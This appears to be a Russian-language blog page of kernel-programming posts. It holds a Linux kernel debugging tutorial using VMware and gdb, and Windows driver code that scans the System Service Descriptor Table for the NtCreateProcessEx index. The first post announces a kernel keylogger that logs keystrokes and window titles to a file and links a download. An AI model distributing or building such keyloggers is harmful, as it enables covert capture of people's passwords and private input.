Отладил наконец-то свой кейлогер. Работает через перехват IRP. В лог-файл (по умолчанию C:\124.txt) пишет коды клавиш, и заголовок активного окна. Тестировался на Windows Vista SP1 и Windows XP Sp2 на двухядерном прцессоре. В комплекте простой парсер лог-файлов, парсер написан на коленке и скорей всего будет передалан, но как-нибудь в другой раз. При написании парсера использовалась часть кода из r0keylog barton'а.
Конечно код далёк от совершенства, но тем-не менее, вот сcылка для скачивания:
http://cid-eea2a7c767291ff9.skydrive.live.com/self.aspx/.Public/hki.rar
Показаны сообщения с ярлыком kernel. Показать все сообщения
Показаны сообщения с ярлыком kernel. Показать все сообщения
2009-05-10
2009-04-22
Linux kernel debugging
Всем известно, что в vmware 6-й ветки появилась возможность отлаживать ядро гостевой операционной системы. Для включения отладки необходимо в конфиг виртуальной машины (файл *.vmx) добавить строку debugStub.listen.guest32=1 либо debugStub.listen.guest64=1. Vmware откроет порт 8832 (или 8864 для 64-битных систем) на главной системе(хосте):
Как видим, подключиться можно только с локалхоста. Используеться протокол gdb, соответственно, берём gdb (версию для Windows в сети найти не трудно), и подключаемся:
Для удобного ковыряния в ядре, потребуеться собрать ядро с отладочными сиволами, обчычно ядра, установленные в различных дистрибутивах по умолчанию собраны без отладочных символов (что и не удевительно, поскольку включение символов несколько увеличивает размер образа ядра). Чтобы пересобрать ядро используя текущюю рабочюю конфигурацию, переходим в каталог исходников ядра (обычно /usr/src/linux), и выролняем:
В меню включаем отладочные символы:
или "CONFIG_DEBUG_KERNEL=y" в конфиге ядра (/usr/src/linux/.config). На стадии конфигурирования ядра желательно отключить всё лишнее (например можно отключть поддержку IPv6, если она не нужна, и ненужные драйвера), и всё что возможно вкомпилить в ядро, а не в виде модулей. Однако netfilter и драйвера сетевых интерфейсов я бы посоветовал всё-таки собрать в виде модулей. Можно вместо make oldconfig, сделать make defconfig, что-бы создать минимальный конфиг по умолчанию для данной архитектуры, а потом в make menuconfig включать необходимые опции, и добавить нужные драйвера (lspci может в этом помоч). Далее собираем ядро:
Файл /usr/src/linux/vmlinux - это несжатый образ ядра, его переносим с гостевой системы на основную. Желательно так-же иметь на основной стсиеме исходные коды ядра соответсвующей версии. Кладём файл vmlinux на основную систему в папку где находяться исходники ядра (у меня D:\kernel\). Устанавливаем новое ядро и перезагружаем гостевую систему. Теперь можно спокойно отлаживать ядро загрузив в gdb несжатый образ ядра с отладочнымм символами:
P.S.
по этой ссылке http://wiki.opennet.ru/Linux_kernel_debug рекомендуют включить в ядре такие опции:
>netstat -an | grep 88
TCP 127.0.0.1:8832 0.0.0.0:0 LISTENING
Как видим, подключиться можно только с локалхоста. Используеться протокол gdb, соответственно, берём gdb (версию для Windows в сети найти не трудно), и подключаемся:
> gdb -q
(gdb) target remote localhost:8832
Для удобного ковыряния в ядре, потребуеться собрать ядро с отладочными сиволами, обчычно ядра, установленные в различных дистрибутивах по умолчанию собраны без отладочных символов (что и не удевительно, поскольку включение символов несколько увеличивает размер образа ядра). Чтобы пересобрать ядро используя текущюю рабочюю конфигурацию, переходим в каталог исходников ядра (обычно /usr/src/linux), и выролняем:
make oldconfig
make menuconfig
В меню включаем отладочные символы:
Kernel hacking --->
[*] Compile the kernel with debug info
или "CONFIG_DEBUG_KERNEL=y" в конфиге ядра (/usr/src/linux/.config). На стадии конфигурирования ядра желательно отключить всё лишнее (например можно отключть поддержку IPv6, если она не нужна, и ненужные драйвера), и всё что возможно вкомпилить в ядро, а не в виде модулей. Однако netfilter и драйвера сетевых интерфейсов я бы посоветовал всё-таки собрать в виде модулей. Можно вместо make oldconfig, сделать make defconfig, что-бы создать минимальный конфиг по умолчанию для данной архитектуры, а потом в make menuconfig включать необходимые опции, и добавить нужные драйвера (lspci может в этом помоч). Далее собираем ядро:
make
make modules_install
Файл /usr/src/linux/vmlinux - это несжатый образ ядра, его переносим с гостевой системы на основную. Желательно так-же иметь на основной стсиеме исходные коды ядра соответсвующей версии. Кладём файл vmlinux на основную систему в папку где находяться исходники ядра (у меня D:\kernel\). Устанавливаем новое ядро и перезагружаем гостевую систему. Теперь можно спокойно отлаживать ядро загрузив в gdb несжатый образ ядра с отладочнымм символами:
> gdb -q
(gdb) target remote localhost:8832
<...>
(gdb) file vmlinux
P.S.
по этой ссылке http://wiki.opennet.ru/Linux_kernel_debug рекомендуют включить в ядре такие опции:
Kernel hacking --->
[*] Compile the kernel with debug info
[*] Compile the kernel with frame pointers
2008-12-12
SDT
Осваиваюсь с внутреним устройством Windows, вот, набросал кодес для получения данных из SDT. Например получим номер функции NtCreateProcessEx которая в Windows Vista SP1 находиться по адрессу 0x826a8fea, а в Windows XP SP2 - 0x805c5c32:
#include <ntddk.h>
extern PUSHORT NtBuildNumber;
extern PVOID KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegPath)
{
unsigned long t, t2, p, pNtCreateProcessEx;
int i,j;
switch(*NtBuildNumber){
case 2600: //winxp
pNtCreateProcessEx = 0x805c5c32;
break;
case 6001: //vista (at least sp1)
pNtCreateProcessEx = 0x826a8fea;
break;
}
DbgPrint("[+] Driver successfuly loaded\n");
DbgPrint("SDT addr: %x\n", KeServiceDescriptorTable);
t = *((PULONG)KeServiceDescriptorTable);
for (i=j=0;j<=391;i+=4,j++){
t2 = *((PULONG)(t+i));
if(t2 == pNtCreateProcessEx){
DbgPrint("NtCreateProcess index: %d addr:%x\n", j,t2);
}
}
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
Подписаться на:
Сообщения (Atom)